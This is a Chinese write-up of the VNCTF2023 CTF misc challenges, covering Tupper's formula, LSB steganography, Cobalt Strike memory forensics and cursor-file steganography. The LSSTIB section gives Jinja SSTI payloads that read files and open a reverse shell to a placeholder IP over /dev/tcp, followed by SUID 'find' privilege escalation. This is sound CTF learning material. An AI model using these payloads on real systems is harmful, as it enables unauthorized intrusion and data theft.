VNCTF2023-misc方向wp

前言

  • 总榜第9,misc单榜第2
  • 指针拿了个一血还可以,但是当时做的时候马上出flag有点急了,不然认真想一想在出下午hint之前就能做出来的
  • 二三血拿的有点少,而且贪吃蛇那道题没做出来!!实在有点小菜,还需努力!

misc

验证码

到手一堆验证码图片

image-20230218210828062

根据hint给了tupper,图片的全部数据应该是tupper公式的k,pythonOCR太不准了

image-20230218210911920

直接花个几分钟手搓完事

1594199391770250354455183081054802631580554590456781276981302978243348088576774816981145460077422136047780972200375212293357383685099969525103172039042888918139627966684645793042724447954308373948403404873262837470923601139156304668538304057819343713500158029312192443296076902692735780417298059011568971988619463802818660736654049870484193411780158317168232187100668526865378478661078082009408188033574841574337151898932291631715135266804518790328831268881702387643369637508117317249879868707531954723945940226278368605203277838681081840279552

找个网站Tupper’s Formula Tools (tuppers-formula.ovh)解一下,原函数就是flag

image-20230218210940180

或者网上找个tupper脚本

import numpy as np
import matplotlib.pyplot as plt

def Tupper_self_referential_formula(k): 
    aa = np.zeros((17,106))
    def f(x, y):
        y += k
        a1 = 2**-(-17*x - y%17)
        a2 = (y // 17) // a1
        return 1 if a2 % 2 > 0.5 else 0
 
    for y in range(17):
        for x in range(106):
            aa[y, x] = f(x, y)
    
    return aa[:,::-1]

k = 1594199391770250354455183081054802631580554590456781276981302978243348088576774816981145460077422136047780972200375212293357383685099969525103172039042888918139627966684645793042724447954308373948403404873262837470923601139156304668538304057819343713500158029312192443296076902692735780417298059011568971988619463802818660736654049870484193411780158317168232187100668526865378478661078082009408188033574841574337151898932291631715135266804518790328831268881702387643369637508117317249879868707531954723945940226278368605203277838681081840279552
aa = Tupper_self_referential_formula(k)
plt.figure(figsize=(15,10))
plt.imshow(aa,origin='lower')
plt.show()

image-20230219133939130

得到的图需要水平翻转一下

image-20230219134158462

LSSTIB

根据题目名称、描述以及打开的网页名字可以猜测是一个png的LSB的解密器

image-20230218211349316

image-20230218211338547

根据题目名猜测可能存在ssti的漏洞,猜测大概思路是利用lsb解析后执行ssti

网上找个脚本做一张lsb图,用仅有的web知识,简单测试一下

# -*- coding: utf-8 -*-
"""
Created on Sun May 19 11:20:05 2019
@author: Administrator
"""

from PIL import Image


def plus(string):
    # Python zfill() 方法返回指定长度的字符串,原字符串右对齐,前面填充0。
    return string.zfill(8)


def get_key(strr):
    # 获取要隐藏的文件内容
    with open(strr, "rb") as f:
        s = f.read()
        string = ""
        for i in range(len(s)):
         # 逐个字节将要隐藏的文件内容转换为二进制,并拼接起来
         # 1.先用ord()函数将s的内容逐个转换为ascii码
         # 2.使用bin()函数将十进制的ascii码转换为二进制
         # 3.由于bin()函数转换二进制后,二进制字符串的前面会有"0b"来表示这个字符串是二进制形式,所以用replace()替换为空
         # 4.又由于ascii码转换二进制后是七位,而正常情况下每个字符由8位二进制组成,所以使用自定义函数plus将其填充为8位
            string = string+""+plus(bin(s[i]).replace('0b', ''))
    # print(string)
    return string


def mod(x, y):
    return x % y

# str1为载体图片路径,str2为隐写文件,str3为加密图片保存的路径


def func(str1, str2, str3):
    im = Image.open(str1)
    # 获取图片的宽和高
    width, height = im.size[0], im.size[1]
    print("width:"+str(width))
    print("height:"+str(height))
    count = 0
    # 获取需要隐藏的信息
    key = get_key(str2)
    keylen = len(key)
    for h in range(height):
        for w in range(width):
            pixel = im.getpixel((w, h))
            a = pixel[0]
            b = pixel[1]
            c = pixel[2]
            if count == keylen:
                break
            # 下面的操作是将信息隐藏进去
            # 分别将每个像素点的RGB值余2,这样可以去掉最低位的值
            # 再从需要隐藏的信息中取出一位,转换为整型
            # 两值相加,就把信息隐藏起来了
            a = a-mod(a, 2)+int(key[count])
            count += 1
            if count == keylen:
                im.putpixel((w, h), (a, b, c))
                break
            b = b-mod(b, 2)+int(key[count])
            count += 1
            if count == keylen:
                im.putpixel((w, h), (a, b, c))
                break
            c = c-mod(c, 2)+int(key[count])
            count += 1
            if count == keylen:
                im.putpixel((w, h), (a, b, c))
                break
            if count % 3 == 0:
                im.putpixel((w, h), (a, b, c))
    im.save(str3)


def main():
    # 原图
    old = "flag.png"
    # 处理后输出的图片路径
    new = "flag_encode.png"
    # 需要隐藏的信息
    enc = "a.txt"
    func(old, enc, new)


if __name__ == '__main__':
    main()

image-20230218212600134

发现确实存在ssti漏洞

image-20230218212630315

ps:这里png图建议自己制作个小图,无用数据过多会导致lsb加密后每个通道都有数据,上传后会报错

from PIL import Image

x = y = 100
img = Image.new("RGB",(x,y))

for width in range(0,x):
    for height in range(0,y):
        img.putpixel((width,height),(255,255,255))
img.save('flag.png')

网上找个payload,尝试上传

{
   
   { config.__class__.__init__.__globals__['os'].popen('ls /').read() }}

image-20230218213153650

读一下flag

{
   
   { config.__class__.__init__.__globals__['os'].popen('cat /flag').read() }}

失败了,果然没那么简单

image-20230218213316305

那就先弹个shell

{
   
   {config.__class__.__init__.__globals__['os'].popen('bash -c "bash -i >& /dev/tcp/xx.xxx.xxx.xxx/8989 0>&1"').read()}}

image-20230218213915194

根据hint suid,找一下有suid权限的东西

find / -user root -perm -4000 -print 2>/dev/null

image-20230218214236286

哦豁,很惊喜的发现find有suid权限

当前目录没写入权限,找个有写入权限的地方,

image-20230218214310094

提权

find test -exec whoami \;

image-20230218214355465

拿flag

find test -exec cat /flag \;

image-20230218214436394

来一把紧张刺激的CS

根据所给的poc.py,需要找到异常进程名字,连接的端口和地址以及公钥

image-20230218215300989

根据所需的四个数据,再结合描述战术目镜,黄色头发,题目名的CS应该是指Cobalt Strike,题目所给应该是CS渗透后的内存镜像

vol2跑不出来,猜测可能是win10的内存,拿vol3先看看

image-20230218214845438

查看一下plist,发现个dllhost.exe,应该就是所需的异常进程

  • 这里赛后很多人问为什么是这个进程,因为涉及到远控的时候宿主机后台大概率有这个进程在,算是一个小经验
  • 当然就算这里发现不了,用vol3自带的cobaltstrike插件也可以解析出来的

image-20230218214939978

后续不知道算不算个非预期,找到篇解析cs内存的文章Cobalt Strike: Memory Dumps – Part 6 – NVISO Labs

先用vol3把内存dump下来

python vol.py -f C:\Users\22826\Desktop\attachment\memory.raw  -o C:\Users\22826\Desktop\attachment  windows.memmap.Memmap  --dump

image-20230218214734523

再直接用他所给的脚本解析即可得到剩下三个数据,其中url需要将后面的,/match删一下

image-20230218215924585

放poc.py里得到flag

image-20230218220022833

你看这个指针它可爱吗

macOS部分

搜索macOS制作指针教程找到出题人的博客从Windows动态指针到MacOS动态指针—— 在Windows上制作指针 - 哔哩哔哩 (bilibili.com)

(结果后来hint给了出题人的博客)

查阅资料后得知cape文件是macOS的鼠标指针文件,使用XML格式作为主框架的,且使用了PropertyList作为数据结构进行组织,用plistlib进行解析一下

from plistlib import load
with open('1.cape', 'rb') as fp:
    pl = load(fp)
print(pl)

可以发现Representations部分的数据其实就是base64解码后的data部分的数据

image-20230219110845702

image-20230219111001632

image-20230219111219599

49492A标志位,II开头,应该是小端序的tiff文件

标签图像文件格式(Tagged Image File Format,简写为TIFF)是一种灵活的位图格式,主要用来存储包括照片和艺术图在内的图像。它最初由Aldus公司与微软公司一起为PostScript打印开发。TIFF与JPEG和PNG一起成为流行的高位彩色图像格式。TIFF格式在业界得到了广泛的支持,如Adobe公司的Photoshop、The GIMP Team的GIMP、Ulead PhotoImpact和Paint Shop Pro等图像处理应用、QuarkXPress和Adobe InDesign这样的桌面印刷和页面排版应用,扫描、传真、文字处理、光学字符识别和其它一些应用等都支持这种格式。如今Adobe公司从Aldus获得了印刷应用程序-PageMaker之后控制着TIFF的规范。

每个TIFF文件都是从指示字节序的两个字节开始的。“II”表示小端序、“MM”表示大端序。后面的两个字节表示数字42。数字42是“为了它深远的哲学意味”而选择的。42的读法取决于头两个字节所表示的字节顺序。整个文件根据所指出的字节顺序进行读取

通过搜索结果后发现应该有6个tiff文件,分别将他们的索引找出来

image-20230219111537255

#com.apple.coregraphics.Arrow
#com.apple.coregraphics.IBeam
#com.apple.coregraphics.Move
#com.apple.coregraphics.Wait
#com.apple.cursor.17
#com.apple.cursor.18

先导出第一个tiff文件

from plistlib import load
from PIL import Image
with open('1.cape', 'rb') as fp:
    pl = load(fp)
#print(pl)
#com.apple.coregraphics.Arrow
#com.apple.coregraphics.IBeam
#com.apple.coregraphics.Move
#com.apple.coregraphics.Wait
#com.apple.cursor.17
#com.apple.cursor.18
s=pl['Cursors']['com.apple.coregraphics.Move']['Representations'][0]
with open('1.tiff','wb') as x:
    x.write(s)

image-20230219111814478

发现存在隐藏信息,但导出第二个tiff的时候就发现由于鲨鱼肚皮是白色的,跟隐藏信息重叠一起了很难看

image-20230219112142505

根据题目描述所有的插入信息RGBA取值为(255,255,255,255),尝试将全部(255,255,255,255)的数据导出

from plistlib import load
from PIL import Image
with open('1.cape', 'rb') as fp:
    pl = load(fp)
#print(pl)
#com.apple.coregraphics.Arrow
#com.apple.coregraphics.IBeam
#com.apple.coregraphics.Move
#com.apple.coregraphics.Wait
#com.apple.cursor.17
#com.apple.cursor.18
s=pl['Cursors']['com.apple.coregraphics.IBeam']['Representations'][0]
with open('1.tiff','wb') as x:
    x.write(s)
im = Image.open('1.tiff')
pix = im.load()
width = im.size[0]
height = im.size[1]
imgg = Image.new('RGB', (width, height))
for x in range(width):
    for y in range(height):
        rgba = pix[x, y]
        if rgba==(255,255,255,255):
            imgg.putpixel((x,y), (255, 255, 255))
        else:
            imgg.putpixel((x,y), (0,0,0))
imgg.save('1.png')

image-20230219112426931

对照原图,可以较为清晰的得到隐藏信息

结合6个tiff可以得到后半段的flag

8df7-b89f4760d810}

windows部分

搜索windows制作指针教程,找到个Axialis CursorWorkshop软件,可以制作ani和cur文件,同样也可以导入

  • ani:动态windows指针图标(类似gif)
  • cur:静态windows指针图标

以1.ani为例,逐帧查看可以发现某些帧的左上角有隐藏的flag信息

image-20230219103548018

由于隐藏信息的RGBA值是(255,255,255,255),某些图片里背景色是透明比较难以直接查看,可以通过将不透明度调到最小进行查看

image-20230219104035720

image-20230219104106933

这里也提供另一种方式,可以直接将整个ani(cur)以长图(图片)的形式导出,可以直接查看

image-20230219104134239

image-20230219104215944

最后得到

laf
g1{
513
21c
1-8
8
7
4
-
4
6
-b7

根据uuid的格式可以大概排列出flag的前半段

flag{151321c1-8874-46b7-

组合后得到flag(错误的)

flag{151321c1-8874-46b7-8df7-b89f4760d810}

问题主要出在windows几个数据的排列顺序上

赛后复现的预期解

根据hint,ani文件似乎有一些option字段(当时误解了这句话意思所以没能利用上),通过搜索ani文件格式

Ani动态光标格式解析 - 孤影对酌 - 博客园 (cnblogs.com)

可以知道ani主要分成四段文字说明区、信息区、时间控制区和数据区,对应’anih’, ‘rate’, 'seq ', ‘list’,每个数据区都有对应开头标识,而seq数据区对应的是播放顺序

image-20230219113848297

这其实在出题人的博客里也有写出,这一篇文章比赛时没去看(

从Windows动态指针到MacOS动态指针——ANI2GIF - 哔哩哔哩 (bilibili.com)

image-20230219113927150

例如1.ani,将数据以10进制复制出来后去0,可以得到他的播放顺序

image-20230219114115709

13           20           7            10          
0            31           28           8           
3            11           5            30          
12           18           32           24          
22           27           4            6           
1            25           15           16          
33           9            21           26          
23           19           2            14          
17           29          

laf对应三个帧分别是第5、24、31帧,通过比对播放顺序可以发现,分别是原来的第11、16、6张图,因此正确顺序应该是fla

照此思路可以得到最终正确的flag

flag{1513c121-8874-46b7-8df7-b89f4760d810}

比赛时的非预期解(不建议模仿)

由于buu不限制最大提交次数,直接爆破windows这边几个数据的顺序

def permutation(s):
    if len(s) <= 1:
        return [s]
    else:
        temp_list = []
        for i in range(len(s)):  # 遍历字符串 s 中的每个字符
            for j in permutation(s[0:i] + s[i+1:]):  # 把除了s[i]字符以外的字符组成字符串然后让它迭代
                temp_list.append(s[i]+j)
        return temp_list
list1=permutation('513')
list2=permutation('21c')
list3=['1-8','8-1']
list4=permutation('b7')

for a in list1:
    for b in list2:
        for c in list3:
            for d in list4:
                flag='flag{1'
                flag=flag+a+b+c+'874-46'+d+'-8df7-b89f4760d810}'
                print(flag)

image-20230219202712936

一开始提交flag过多还被buuban了几分钟,,,在我坚持不懈下还是成功了(
并不建议大家这样去投机取巧(

猜你喜欢

转载自blog.csdn.net/jyttttttt/article/details/129114207